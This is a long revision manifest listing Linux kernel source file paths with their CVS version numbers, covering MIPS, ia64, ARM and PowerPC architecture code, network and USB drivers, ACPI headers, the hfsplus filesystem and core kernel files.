linux/arch/mips64/kernel/gdb-stub.c - 1.1 linux/arch/mips64/kernel/gdb-low.S - 1.1 linux/drivers/net/b44.c - 1.1 linux/drivers/net/b44.h - 1.1 linux/include/asm-ppc/pplus.h - 1.1 linux/arch/mips64/kernel/binfmt_elfo32.c - 1.1 linux/arch/mips64/kernel/binfmt_elfn32.c - 1.1 linux/drivers/net/bonding/Makefile - 1.1 linux/include/asm-ppc/pc_serial.h - 1.1 linux/drivers/net/bonding/bond_3ad.c - 1.1 linux/drivers/net/bonding/bond_3ad.h - 1.1 linux/include/asm-ppc/ocp_ids.h - 1.1 linux/include/asm-ppc/ocp.h - 1.1 linux/arch/ia64/sn/io/drivers/Makefile - 1.1 linux/arch/ia64/sn/io/drivers/hubdev.c - 1.1 linux/arch/ia64/sn/io/drivers/ifconfig_net.c - 1.1 linux/arch/ia64/sn/io/drivers/ioconfig_bus.c - 1.1 linux/arch/ia64/sn/io/drivers/pciba.c - 1.1 linux/drivers/net/bonding/bond_alb.c - 1.1 linux/drivers/net/bonding/bond_alb.h - 1.1 linux/drivers/net/bonding/bond_main.c - 1.1 linux/drivers/net/bonding/bonding.h - 1.1 linux/arch/mips64/defconfig-decstation - 1.1 linux/drivers/net/ibm_emac/Config.in - 1.1 linux/arch/ia64/sn/io/hwgdfs/Makefile - 1.1 linux/arch/ia64/sn/io/hwgdfs/hcl.c - 1.1 linux/arch/ia64/sn/io/hwgdfs/hcl_util.c - 1.1 linux/arch/ia64/sn/io/hwgdfs/invent_stub.c - 1.1 linux/arch/ia64/sn/io/hwgdfs/labelcl.c - 1.1 linux/arch/ia64/sn/io/hwgfs/Makefile - 1.1 linux/arch/ia64/sn/io/hwgfs/hcl.c - 1.1 linux/arch/ia64/sn/io/hwgfs/hcl_util.c - 1.1 linux/arch/ia64/sn/io/hwgfs/hwgfs.h - 1.1 linux/arch/ia64/sn/io/hwgfs/interface.c - 1.1 linux/arch/ia64/sn/io/hwgfs/invent_stub.c - 1.1 linux/arch/ia64/sn/io/hwgfs/labelcl.c - 1.1 linux/arch/ia64/sn/io/hwgfs/ramfs.c - 1.1 linux/drivers/net/ibm_emac/Makefile - 1.1 linux/arch/mips/vr41xx/victor-mpc30x/setup.c - 1.1 linux/include/asm-ppc/ibm4xx.h - 1.1 linux/arch/mips/vr41xx/victor-mpc30x/pci_fixup.c - 1.1 linux/arch/mips/vr41xx/victor-mpc30x/init.c - 1.1 linux/arch/mips/vr41xx/victor-mpc30x/ide-mpc30x.c - 1.1 linux/arch/mips/vr41xx/victor-mpc30x/Makefile - 1.1 linux/arch/mips/vr41xx/tanbac-tb0229/setup.c - 1.1 linux/arch/mips/vr41xx/tanbac-tb0229/reboot.c - 1.1 linux/include/asm-mips64/tlbdebug.h - 1.1 linux/arch/ia64/sn/io/machvec/Makefile - 1.1 linux/arch/ia64/sn/io/machvec/iomv.c - 1.1 linux/arch/ia64/sn/io/machvec/pci.c - 1.1 linux/arch/ia64/sn/io/machvec/pci_bus_cvlink.c - 1.1 linux/arch/ia64/sn/io/machvec/pci_dma.c - 1.1 linux/include/asm-mips64/sibyte/trace_prof.h - 1.1 linux/include/asm-mips64/sibyte/sentosa.h - 1.1 linux/include/asm-mips64/sibyte/carmel.h - 1.1 linux/include/asm-mips64/sgi/mc.h - 1.1 linux/include/asm-mips64/sgi/ip22.h - 1.1 linux/include/asm-mips64/sgi/ioc.h - 1.1 linux/include/asm-mips64/sgi/hpc3.h - 1.1 linux/include/asm-mips64/sgi/gio.h - 1.1 linux/arch/ia64/sn/io/platform_init/Makefile - 1.1 linux/arch/ia64/sn/io/platform_init/irix_io_init.c - 1.1 linux/arch/ia64/sn/io/platform_init/sgi_io_init.c - 1.1 linux/include/asm-mips64/pci_channel.h - 1.1 linux/include/asm-mips64/mv64340_dep.h - 1.1 linux/include/asm-mips64/mv64340.h - 1.1 linux/include/asm-mips64/i8259.h - 1.1 linux/include/asm-mips64/gt64120/momenco_ocelot/gt64120_dep.h - 1.1 linux/include/asm-mips64/gt64120/mips-boards/gt64120_dep.h - 1.1 linux/include/asm-mips64/gt64120/lasat/gt64120_dep.h - 1.1 linux/include/asm-mips64/gt64120/gt64120.h - 1.1 linux/include/asm-mips64/gt64120/ev96100/gt64120_dep.h - 1.1 linux/include/asm-mips64/gt64120/ev64120/ev64120.h - 1.1 linux/include/asm-mips64/fpu.h - 1.1 linux/include/asm-mips64/dec/tcmodule.h - 1.1 linux/include/asm-mips64/dec/tcinfo.h - 1.1 linux/include/asm-mips64/dec/tc.h - 1.1 linux/include/asm-mips64/dec/rtc-dec.h - 1.1 linux/include/asm-mips64/dec/prom.h - 1.1 linux/include/asm-mips64/dec/machtype.h - 1.1 linux/include/asm-mips64/dec/kn230.h - 1.1 linux/include/asm-mips64/dec/kn05.h - 1.1 linux/include/asm-mips64/dec/kn03.h - 1.1 linux/include/asm-mips64/dec/kn02xa.h - 1.1 linux/include/asm-mips64/dec/kn02ca.h - 1.1 linux/include/asm-mips64/dec/kn02ba.h - 1.1 linux/include/asm-mips64/dec/kn02.h - 1.1 linux/include/asm-mips64/dec/kn01.h - 1.1 linux/include/asm-mips64/dec/ioasic_ints.h - 1.1 linux/include/asm-mips64/dec/ioasic_addrs.h - 1.1 linux/include/asm-mips64/dec/ioasic.h - 1.1 linux/include/asm-mips64/dec/io.h - 1.1 linux/arch/ia64/sn/io/sn2/kdba_io.c - 1.1 linux/include/asm-mips64/dec/interrupts.h - 1.1 linux/include/asm-mips64/dec/ecc.h - 1.1 linux/include/asm-mips64/cacheflush.h - 1.1 linux/include/asm-mips/xxs1500.h - 1.1 linux/arch/mips/vr41xx/tanbac-tb0229/pci_fixup.c - 1.1 linux/include/asm-mips/vr41xx/workpad.h - 1.1 linux/include/asm-mips/vr41xx/vrc4173.h - 1.1 linux/include/asm-mips/vr41xx/tb0229.h - 1.1 linux/include/asm-mips/vr41xx/tb0226.h - 1.1 linux/include/asm-mips/vr41xx/mpc30x.h - 1.1 linux/include/asm-mips/vr41xx/e55.h - 1.1 linux/arch/mips/vr41xx/tanbac-tb0229/init.c - 1.1 linux/arch/mips/vr41xx/tanbac-tb0229/Makefile - 1.1 linux/include/asm-mips/tx4927/tx4927_pci.h - 1.1 linux/include/asm-mips/tx4927/tx4927_mips.h - 1.1 linux/include/asm-mips/tx4927/tx4927.h - 1.1 linux/include/asm-mips/tx4927/toshiba_rbtx4927.h - 1.1 linux/include/asm-mips/tlbdebug.h - 1.1 linux/arch/mips/vr41xx/tanbac-tb0226/setup.c - 1.1 linux/arch/mips/vr41xx/tanbac-tb0226/pci_fixup.c - 1.1 linux/arch/mips/vr41xx/tanbac-tb0226/init.c - 1.1 linux/arch/mips/vr41xx/tanbac-tb0226/Makefile - 1.1 linux/arch/mips/vr41xx/nec-eagle/vrc4173.c - 1.1 linux/drivers/net/ibm_emac/ibm_emac.h - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_debug.c - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_enet.c - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_enet.h - 1.1 linux/include/asm-mips/sibyte/trace_prof.h - 1.1 linux/include/asm-mips/sibyte/sentosa.h - 1.1 linux/include/asm-mips/sibyte/carmel.h - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_mal.c - 1.1 linux/include/asm-mips/sgi/mc.h - 1.1 linux/include/asm-mips/sgi/ip22.h - 1.1 linux/include/asm-mips/sgi/ioc.h - 1.1 linux/include/asm-mips/sgi/hpc3.h - 1.1 linux/arch/ia64/sn/kernel/idle.c - 1.1 linux/include/asm-mips/sgi/gio.h - 1.1 linux/arch/mips/vr41xx/ibm-workpad/setup.c - 1.1 linux/arch/mips/vr41xx/ibm-workpad/init.c - 1.1 linux/arch/mips/vr41xx/ibm-workpad/ide-workpad.c - 1.1 linux/arch/mips/vr41xx/ibm-workpad/Makefile - 1.1 linux/arch/mips/vr41xx/common/vrc4173.c - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_mal.h - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_phy.c - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_phy.h - 1.1 linux/include/asm-mips/pgtable-64.h - 1.1 linux/include/asm-mips/pgtable-32.h - 1.1 linux/drivers/net/ibm_emac/ibm_ocp_zmii.h - 1.1 linux/arch/mips/vr41xx/common/ide.c - 1.1 linux/arch/mips/vr41xx/casio-e55/setup.c - 1.1 linux/include/asm-mips/mv64340_dep.h - 1.1 linux/include/asm-mips/mv64340.h - 1.1 linux/arch/mips/vr41xx/casio-e55/init.c - 1.1 linux/arch/ia64/sn/kernel/sn2/io.c - 1.1 linux/arch/mips/vr41xx/casio-e55/ide-e55.c - 1.1 linux/arch/ia64/sn/kernel/sn2/prominfo_proc.c - 1.1 linux/arch/mips/vr41xx/casio-e55/Makefile - 1.1 linux/include/asm-mips/lasat/serial.h - 1.1 linux/include/asm-mips/lasat/picvue.h - 1.1 linux/arch/ia64/sn/kernel/sn2/timer.c - 1.1 linux/include/asm-mips/lasat/lasatint.h - 1.1 linux/include/asm-mips/lasat/lasat.h - 1.1 linux/include/asm-mips/lasat/head.h - 1.1 linux/include/asm-mips/lasat/eeprom.h - 1.1 linux/include/asm-mips/lasat/ds1603.h - 1.1 linux/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_setup.c - 1.1 linux/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_prom.c - 1.1 linux/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_pci_ops.c - 1.1 linux/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_pci_fixup.c - 1.1 linux/arch/mips/tx4927/toshiba_rbtx4927/toshiba_rbtx4927_irq.c - 1.1 linux/arch/mips/tx4927/toshiba_rbtx4927/Makefile - 1.1 linux/arch/mips/tx4927/common/tx4927_setup.c - 1.1 linux/arch/mips/tx4927/common/tx4927_prom.c - 1.1 linux/arch/mips/tx4927/common/tx4927_irq_handler.S - 1.1 linux/arch/mips/tx4927/common/tx4927_irq.c - 1.1 linux/arch/mips/tx4927/common/tx4927_dbgio.c - 1.1 linux/arch/mips/tx4927/common/Makefile - 1.1 linux/drivers/net/wireless/orinoco_tmd.c - 1.1 linux/include/asm-mips/i8259.h - 1.1 linux/arch/mips/arc/promlib.c - 1.1 linux/include/asm-mips/gt64120/mips-boards/gt64120_dep.h - 1.1 linux/include/asm-mips/gt64120/lasat/gt64120_dep.h - 1.1 linux/include/asm-mips/gt64120/ev96100/gt64120_dep.h - 1.1 linux/include/asm-mips/gt64120/ev64120/ev64120.h - 1.1 linux/arch/mips/au1000/common/pci_fixup.c - 1.1 linux/arch/mips/au1000/common/pci_ops.c - 1.1 linux/drivers/pcmcia/au1000_db1x00.c - 1.1 linux/include/asm-mips/fpu.h - 1.1 linux/arch/mips/sibyte/swarm/rtc_m41t81.c - 1.1 linux/drivers/pcmcia/au1000_xxs1500.c - 1.1 linux/include/asm-mips/dec/prom.h - 1.1 linux/arch/mips/au1000/common/setup.c - 1.1 linux/include/asm-mips/dec/ecc.h - 1.1 linux/include/asm-mips/db1x00.h - 1.1 linux/arch/mips/au1000/db1x00/Makefile - 1.1 linux/arch/mips/au1000/db1x00/board_setup.c - 1.1 linux/arch/mips/au1000/db1x00/init.c - 1.1 linux/arch/mips/au1000/db1x00/irqmap.c - 1.1 linux/arch/mips/au1000/mtx-1/Makefile - 1.1 linux/arch/mips/au1000/mtx-1/board_setup.c - 1.1 linux/arch/mips/au1000/mtx-1/init.c - 1.1 linux/arch/mips/au1000/mtx-1/irqmap.c - 1.1 linux/drivers/s390/net/c7000.c - 1.1 linux/arch/mips/au1000/pb1000/board_setup.c - 1.1 linux/arch/mips/au1000/pb1000/irqmap.c - 1.1 linux/drivers/s390/net/qeth.c - 1.1 linux/drivers/s390/net/qeth.h - 1.1 linux/include/asm-mips/cacheflush.h - 1.1 linux/drivers/s390/net/qeth_mpc.h - 1.1 linux/arch/mips/au1000/pb1100/board_setup.c - 1.1 linux/arch/mips/au1000/pb1100/irqmap.c - 1.1 linux/drivers/s390/qdio.c - 1.1 linux/arch/mips/sibyte/sb1250/ide.c - 1.1 linux/arch/mips/sibyte/sb1250/bus_watcher.c - 1.1 linux/drivers/scsi/aic7xxx/README.aic79xx - 1.1 linux/arch/mips/au1000/pb1500/board_setup.c - 1.1 linux/arch/mips/au1000/pb1500/irqmap.c - 1.1 linux/drivers/scsi/aic7xxx/README.aic7xxx - 1.1 linux/arch/mips/sibyte/cfe/console.c - 1.1 linux/arch/mips/sibyte/cfe/cfe_api_int.h - 1.1 linux/arch/mips/au1000/xxs1500/Makefile - 1.1 linux/arch/mips/au1000/xxs1500/board_setup.c - 1.1 linux/arch/mips/au1000/xxs1500/init.c - 1.1 linux/arch/mips/au1000/xxs1500/irqmap.c - 1.1 linux/include/asm-m68k/kmap_types.h - 1.1 linux/drivers/sound/ac97_plugin_ad1980.c - 1.1 linux/include/asm-ia64/sn/sn2/io.h - 1.1 linux/include/asm-ia64/sn/ioconfig_bus.h - 1.1 linux/include/asm-ia64/sn/hwgfs.h - 1.1 linux/include/asm-ia64/rwsem.h - 1.1 linux/include/asm-ia64/intrinsics.h - 1.1 linux/drivers/usb/Makefile.lib - 1.1 linux/include/asm-i386/save_state.h - 1.1 linux/arch/mips/sgi-ip22/ip22-nvram.c - 1.1 linux/drivers/usb/ax8817x.c - 1.1 linux/arch/mips/sgi-ip22/ip22-ksyms.c - 1.1 linux/drivers/usb/host/sl811.c - 1.1 linux/drivers/usb/host/sl811.h - 1.1 linux/drivers/usb/speedtch.c - 1.1 linux/include/asm-i386/acpi.h - 1.1 linux/fs/Makefile.lib - 1.1 linux/arch/mips/pci/pci_auto.c - 1.1 linux/arch/mips/pci/pci.c - 1.1 linux/arch/mips/pci/ops-sni.c - 1.1 linux/arch/mips/pci/ops-nile4.c - 1.1 linux/arch/mips/pci/ops-msc.c - 1.1 linux/arch/mips/pci/ops-gt64120.c - 1.1 linux/arch/mips/pci/ops-bonito64.c - 1.1 linux/arch/mips/pci/Makefile - 1.1 linux/arch/mips/momentum/ocelot_c/uart-irq.c - 1.1 linux/arch/mips/momentum/ocelot_c/setup.c - 1.1 linux/arch/mips/momentum/ocelot_c/reset.c - 1.1 linux/arch/mips/momentum/ocelot_c/prom.c - 1.1 linux/arch/mips/momentum/ocelot_c/pci.c - 1.1 linux/arch/mips/momentum/ocelot_c/pci-irq.c - 1.1 linux/arch/mips/momentum/ocelot_c/ocelot_c_fpga.h - 1.1 linux/arch/mips/momentum/ocelot_c/mv-irq.c - 1.1 linux/arch/mips/momentum/ocelot_c/irq.c - 1.1 linux/arch/mips/momentum/ocelot_c/int-handler.S - 1.1 linux/arch/mips/momentum/ocelot_c/dbg_io.c - 1.1 linux/arch/mips/momentum/ocelot_c/cpci-irq.c - 1.1 linux/include/asm-arm/mach/serial_at91rm9200.h - 1.1 linux/arch/mips/momentum/ocelot_c/Makefile - 1.1 linux/include/asm-arm/hardware/ssp.h - 1.1 linux/include/asm-arm/hardware/serial_omaha.h - 1.1 linux/include/asm-arm/hardware/ep7312.h - 1.1 linux/arch/mips/mm/tlbex-mips32.S - 1.1 linux/fs/hfsplus/Makefile - 1.1 linux/fs/hfsplus/README - 1.1 linux/arch/mips/mm/sc-rm7k.c - 1.1 linux/arch/mips/mm/sc-r5k.c - 1.1 linux/arch/mips/mm/sc-ip22.c - 1.1 linux/include/asm-arm/arch-sa1100/simputer.h - 1.1 linux/include/asm-arm/arch-sa1100/hackkit.h - 1.1 linux/include/asm-arm/arch-sa1100/adsbitsyplus.h - 1.1 linux/include/asm-arm/arch-sa1100/adsagc.h - 1.1 linux/arch/mips/dec/ecc-berr.c - 1.1 linux/arch/mips/mm/remap.c - 1.1 linux/fs/hfsplus/bfind.c - 1.1 linux/fs/hfsplus/bnode.c - 1.1 linux/fs/hfsplus/brec.c - 1.1 linux/arch/mips/dec/prom/call_o32.S - 1.1 linux/fs/hfsplus/btree.c - 1.1 linux/fs/hfsplus/catalog.c - 1.1 linux/include/asm-arm/arch-riscstation/vmalloc.h - 1.1 linux/include/asm-arm/arch-riscstation/uncompress.h - 1.1 linux/include/asm-arm/arch-riscstation/timex.h - 1.1 linux/include/asm-arm/arch-riscstation/time.h - 1.1 linux/include/asm-arm/arch-riscstation/system.h - 1.1 linux/include/asm-arm/arch-riscstation/serial.h - 1.1 linux/include/asm-arm/arch-riscstation/param.h - 1.1 linux/include/asm-arm/arch-riscstation/memory.h - 1.1 linux/include/asm-arm/arch-riscstation/keyboard.h - 1.1 linux/include/asm-arm/arch-riscstation/irqs.h - 1.1 linux/fs/hfsplus/dir.c - 1.1 linux/include/asm-arm/arch-riscstation/irq.h - 1.1 linux/arch/mips/defconfig-bosporus - 1.1 linux/include/asm-arm/arch-riscstation/io.h - 1.1 linux/include/asm-arm/arch-riscstation/ide.h - 1.1 linux/arch/mips/defconfig-db1000 - 1.1 linux/arch/mips/defconfig-db1100 - 1.1 linux/arch/mips/defconfig-db1500 - 1.1 linux/include/asm-arm/arch-riscstation/hardware.h - 1.1 linux/include/asm-arm/arch-riscstation/dma.h - 1.1 linux/include/asm-arm/arch-riscstation/acornfb.h - 1.1 linux/arch/mips/defconfig-e55 - 1.1 linux/include/asm-arm/arch-omaha/vmalloc.h - 1.1 linux/include/asm-arm/arch-omaha/uncompress.h - 1.1 linux/include/asm-arm/arch-omaha/timex.h - 1.1 linux/include/asm-arm/arch-omaha/time.h - 1.1 linux/include/asm-arm/arch-omaha/system.h - 1.1 linux/include/asm-arm/arch-omaha/serial.h - 1.1 linux/include/asm-arm/arch-omaha/platform.h - 1.1 linux/include/asm-arm/arch-omaha/param.h - 1.1 linux/arch/mips/defconfig-lasat - 1.1 linux/include/asm-arm/arch-omaha/memory.h - 1.1 linux/arch/mips/defconfig-mirage - 1.1 linux/arch/mips/defconfig-mpc30x - 1.1 linux/arch/mips/defconfig-mtx-1 - 1.1 linux/include/asm-arm/arch-omaha/irqs.h - 1.1 linux/include/asm-arm/arch-omaha/irq.h - 1.1 linux/include/asm-arm/arch-omaha/io.h - 1.1 linux/include/asm-arm/arch-omaha/ide.h - 1.1 linux/include/asm-arm/arch-omaha/hardware.h - 1.1 linux/include/asm-arm/arch-omaha/dma.h - 1.1 linux/include/asm-arm/arch-omaha/bits.h - 1.1 linux/fs/hfsplus/extents.c - 1.1 linux/fs/hfsplus/hfsplus_fs.h - 1.1 linux/arch/mips/defconfig-tb0226 - 1.1 linux/arch/mips/defconfig-tb0229 - 1.1 linux/arch/mips/defconfig-ti1500 - 1.1 linux/arch/mips/defconfig-workpad - 1.1 linux/arch/mips/defconfig-xxs1500 - 1.1 linux/include/asm-arm/arch-epxa/watchdog00.h - 1.1 linux/include/asm-arm/arch-epxa/vmalloc.h - 1.1 linux/include/asm-arm/arch-epxa/uncompress.h - 1.1 linux/include/asm-arm/arch-epxa/uart00.h - 1.1 linux/include/asm-arm/arch-epxa/timex.h - 1.1 linux/include/asm-arm/arch-epxa/timer00.h - 1.1 linux/include/asm-arm/arch-epxa/time.h - 1.1 linux/include/asm-arm/arch-epxa/tdkphy.h - 1.1 linux/include/asm-arm/arch-epxa/exc-epxa10dbr2.h - 1.1 linux/arch/mips/mm/cex-sb1.S - 1.1 linux/include/asm-arm/arch-epxa/pld_conf00.h - 1.1 linux/arch/mips/mm/cerr-sb1.c - 1.1 linux/arch/mips/mm/cache.c - 1.1 linux/include/asm-arm/arch-epxa/mode_ctrl00.h - 1.1 linux/include/asm-arm/arch-epxa/memory.h - 1.1 linux/include/asm-arm/arch-epxa/irqs.h - 1.1 linux/include/asm-arm/arch-epxa/irq.h - 1.1 linux/include/asm-arm/arch-epxa/io.h - 1.1 linux/arch/mips/galileo-boards/ev96100/reset.c - 1.1 linux/include/asm-arm/arch-epxa/int_ctrl00.h - 1.1 linux/include/asm-arm/arch-epxa/hardware.h - 1.1 linux/include/asm-arm/arch-epxa/excalibur.h - 1.1 linux/include/asm-arm/arch-epxa/exc-epxa1db.h - 1.1 linux/include/asm-arm/arch-epxa/exc-epxa10dbr3.h - 1.1 linux/include/acpi/acconfig.h - 1.1 linux/include/asm-arm/arch-epxa/ether00.h - 1.1 linux/arch/mips/gt64120/common/time.c - 1.1 linux/arch/mips/gt64120/ev64120/Makefile - 1.1 linux/arch/mips/gt64120/ev64120/fixup-ev64120.c - 1.1 linux/arch/mips/gt64120/ev64120/int-handler.S - 1.1 linux/arch/mips/gt64120/ev64120/irq.c - 1.1 linux/arch/mips/gt64120/ev64120/promcon.c - 1.1 linux/arch/mips/gt64120/ev64120/reset.c - 1.1 linux/arch/mips/gt64120/ev64120/serialGT.c - 1.1 linux/arch/mips/gt64120/ev64120/setup.c - 1.1 linux/include/asm-arm/arch-epxa/dma.h - 1.1 linux/fs/hfsplus/hfsplus_raw.h - 1.1 linux/arch/mips/gt64120/momenco_ocelot/fixup-ocelot.c - 1.1 linux/fs/hfsplus/inode.c - 1.1 linux/fs/hfsplus/options.c - 1.1 linux/fs/hfsplus/super.c - 1.1 linux/fs/hfsplus/tables.c - 1.1 linux/fs/hfsplus/unicode.c - 1.1 linux/include/asm-arm/arch-at91rm9200/vmalloc.h - 1.1 linux/include/asm-arm/arch-at91rm9200/uncompress.h - 1.1 linux/include/asm-arm/arch-at91rm9200/timex.h - 1.1 linux/include/asm-arm/arch-at91rm9200/time.h - 1.1 linux/include/asm-arm/arch-at91rm9200/system.h - 1.1 linux/include/asm-arm/arch-at91rm9200/pio.h - 1.1 linux/include/asm-arm/arch-at91rm9200/param.h - 1.1 linux/include/asm-arm/arch-at91rm9200/memory.h - 1.1 linux/include/asm-arm/arch-at91rm9200/irqs.h - 1.1 linux/include/asm-arm/arch-at91rm9200/irq.h - 1.1 linux/include/asm-arm/arch-at91rm9200/io.h - 1.1 linux/include/asm-arm/arch-at91rm9200/hardware.h - 1.1 linux/include/asm-arm/arch-at91rm9200/dma.h - 1.1 linux/include/asm-arm/arch-at91rm9200/at91rm9200dk.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_USART.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_UHP.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_UDP.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_TWI.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_SYS.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_SPI.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200_EMAC.h - 1.1 linux/include/asm-arm/arch-at91rm9200/AT91RM9200.h - 1.1 linux/fs/hfsplus/wrapper.c - 1.1 linux/fs/nfs/direct.c - 1.1 linux/arch/mips/jazz/jazz-ksyms.c - 1.1 linux/include/acpi/acdebug.h - 1.1 linux/include/acpi/acdisasm.h - 1.1 linux/include/acpi/platform/aclinux.h - 1.1 linux/include/acpi/acdispat.h - 1.1 linux/include/acpi/acevents.h - 1.1 linux/include/acpi/acexcep.h - 1.1 linux/include/acpi/platform/acgcc.h - 1.1 linux/arch/mips/lasat/sysctl.c - 1.1 linux/include/acpi/platform/acenv.h - 1.1 linux/include/acpi/acglobal.h - 1.1 linux/include/acpi/achware.h - 1.1 linux/include/acpi/amlresrc.h - 1.1 linux/include/acpi/amlcode.h - 1.1 linux/include/acpi/acutils.h - 1.1 linux/include/acpi/actypes.h - 1.1 linux/include/acpi/actbl71.h - 1.1 linux/include/acpi/actbl2.h - 1.1 linux/include/acpi/actbl1.h - 1.1 linux/include/acpi/actbl.h - 1.1 linux/include/acpi/actables.h - 1.1 linux/include/acpi/acstruct.h - 1.1 linux/include/acpi/acresrc.h - 1.1 linux/include/acpi/acpixf.h - 1.1 linux/include/acpi/acpiosxf.h - 1.1 linux/arch/mips/lib/promlib.c - 1.1 linux/include/acpi/acinterp.h - 1.1 linux/include/acpi/acpi_drivers.h - 1.1 linux/include/acpi/aclocal.h - 1.1 linux/arch/mips/lasat/sysctl.h - 1.1 linux/arch/mips/lasat/prom.h - 1.1 linux/arch/mips/lasat/setup.c - 1.1 linux/include/acpi/acpi_bus.h - 1.1 linux/arch/mips/lasat/reset.c - 1.1 linux/include/acpi/acnamesp.h - 1.1 linux/arch/mips/lasat/prom.c - 1.1 linux/arch/mips/lasat/picvue_proc.c - 1.1 linux/arch/mips/lasat/picvue.h - 1.1 linux/arch/mips/lasat/picvue.c - 1.1 linux/include/acpi/acpi.h - 1.1 linux/arch/mips/lasat/pci.c - 1.1 linux/include/acpi/acparser.h - 1.1 linux/include/acpi/acoutput.h - 1.1 linux/include/acpi/acobject.h - 1.1 linux/arch/mips/lasat/lasat_models.h - 1.1 linux/arch/mips/lasat/lasatIRQ.S - 1.1 linux/arch/mips/lasat/lasat_board.c - 1.1 linux/arch/mips/lasat/ds1603.h - 1.1 linux/arch/mips/lasat/interrupt.c - 1.1 linux/arch/mips/lasat/image/romscript.normal - 1.1 linux/arch/mips/lasat/image/head.S - 1.1 linux/arch/mips/lasat/image/Makefile - 1.1 linux/include/acpi/acmacros.h - 1.1 linux/arch/mips/lasat/Makefile - 1.1 linux/arch/mips/lasat/ds1603.c - 1.1 linux/arch/mips/lasat/crc32.c - 1.1 linux/arch/mips/lasat/at93c.h - 1.1 linux/arch/mips/lasat/at93c.c - 1.1 linux/scripts/ver_linux - 1.11 linux/net/sunrpc/xprt.c - 1.26 linux/net/sunrpc/xdr.c - 1.10 linux/net/sunrpc/svcsock.c - 1.18 linux/net/sunrpc/clnt.c - 1.17 linux/net/socket.c - 1.32 linux/net/sched/sch_tbf.c - 1.12 linux/net/sched/sch_sfq.c - 1.8 linux/net/sched/sch_red.c - 1.10 linux/net/sched/sch_prio.c - 1.9 linux/net/sched/sch_fifo.c - 1.5 linux/net/sched/sch_csz.c - 1.7 linux/net/sched/sch_cbq.c - 1.14 linux/net/sched/cls_rsvp.h - 1.5 linux/net/sched/Config.in - 1.10 linux/net/rose/af_rose.c - 1.24 linux/net/packet/af_packet.c - 1.30 linux/net/netsyms.c - 1.45 linux/net/netlink/af_netlink.c - 1.19 linux/net/irda/qos.c - 1.16 linux/net/irda/irsysctl.c - 1.9 linux/net/irda/irlmp_event.c - 1.17 linux/net/irda/irlap_frame.c - 1.16 linux/net/irda/irlap_event.c - 1.23 linux/net/irda/irlan/irlan_eth.c - 1.16 linux/net/irda/iriap_event.c - 1.10 linux/net/irda/irda_device.c - 1.24 linux/net/irda/crc.c - 1.3 linux/net/ipv6/udp.c - 1.27 linux/net/ipv6/tcp_ipv6.c - 1.39 linux/net/ipv6/sit.c - 1.22 linux/net/ipv6/route.c - 1.24 linux/net/ipv6/reassembly.c - 1.14 linux/net/ipv6/raw.c - 1.24 linux/net/ipv6/ndisc.c - 1.21 linux/net/ipv6/mcast.c - 1.17 linux/net/ipv6/ipv6_sockglue.c - 1.15 linux/net/ipv6/ip6_output.c - 1.16 linux/net/ipv6/ip6_input.c - 1.10 linux/net/ipv6/ip6_fib.c - 1.13 linux/net/ipv6/exthdrs.c - 1.7 linux/net/ipv6/af_inet6.c - 1.22 linux/net/ipv6/addrconf.c - 1.26 linux/net/ipv4/utils.c - 1.6 linux/net/ipv4/udp.c - 1.31 linux/net/ipv4/tcp_ipv4.c - 1.47 linux/net/ipv4/tcp.c - 1.42 linux/net/ipv4/route.c - 1.38 linux/net/ipv4/raw.c - 1.22 linux/net/ipv4/ipip.c - 1.24 linux/net/ipv4/ipconfig.c - 1.30 linux/net/ipv4/ip_sockglue.c - 1.18 linux/net/ipv4/ip_output.c - 1.33 linux/net/ipv4/ip_gre.c - 1.21 linux/net/ipv4/igmp.c - 1.18 linux/net/ipv4/icmp.c - 1.28 linux/net/ipv4/fib_semantics.c - 1.11 linux/net/ipv4/fib_hash.c - 1.6 linux/net/ipv4/fib_frontend.c - 1.13 linux/net/ipv4/arp.c - 1.23 linux/net/ipv4/Config.in - 1.12 linux/net/ethernet/eth.c - 1.9 linux/net/core/skbuff.c - 1.26 linux/net/core/rtnetlink.c - 1.14 linux/net/core/neighbour.c - 1.16 linux/net/core/filter.c - 1.9 linux/net/core/dst.c - 1.10 linux/net/core/dev.c - 1.54 linux/net/ax25/ax25_out.c - 1.8 linux/net/ax25/ax25_ip.c - 1.9 linux/net/README - 1.11 linux/net/Config.in - 1.22 linux/net/802/llc_sendpdu.c - 1.5 linux/mm/swapfile.c - 1.51 linux/mm/mremap.c - 1.25 linux/lib/vsprintf.c - 1.18 linux/lib/Makefile - 1.11 linux/kernel/sys.c - 1.30 linux/kernel/sched.c - 1.52 linux/kernel/printk.c - 1.21 linux/kernel/module.c - 1.28 linux/kernel/fork.c - 1.44 linux/kernel/exec_domain.c - 1.19 linux/ipc/util.c - 1.21 linux/ipc/sem.c - 1.18 linux/init/main.c - 1.72 linux/include/video/fbcon.h - 1.13 linux/include/net/tcp.h - 1.32 linux/include/net/snmp.h - 1.11 linux/include/net/route.h - 1.17 linux/include/net/pkt_sched.h - 1.11 linux/include/net/irda/irlan_common.h - 1.9 linux/include/net/irda/crc.h - 1.3 linux/include/net/ip6_fib.h - 1.6 linux/include/net/ip.h - 1.16 linux/include/net/if_inet6.h - 1.9 linux/include/net/dst.h - 1.8 linux/include/net/addrconf.h - 1.11 linux/include/linux/wait.h - 1.13 linux/include/linux/swap.h - 1.54 linux/include/linux/sunrpc/xprt.h - 1.12 linux/include/linux/skbuff.h - 1.25 linux/include/linux/sem.h - 1.8 linux/include/linux/rtnetlink.h - 1.14 linux/include/linux/personality.h - 1.12 linux/include/linux/pci.h - 1.57 linux/include/linux/pagemap.h - 1.42 linux/include/linux/nfs_fs.h - 1.22 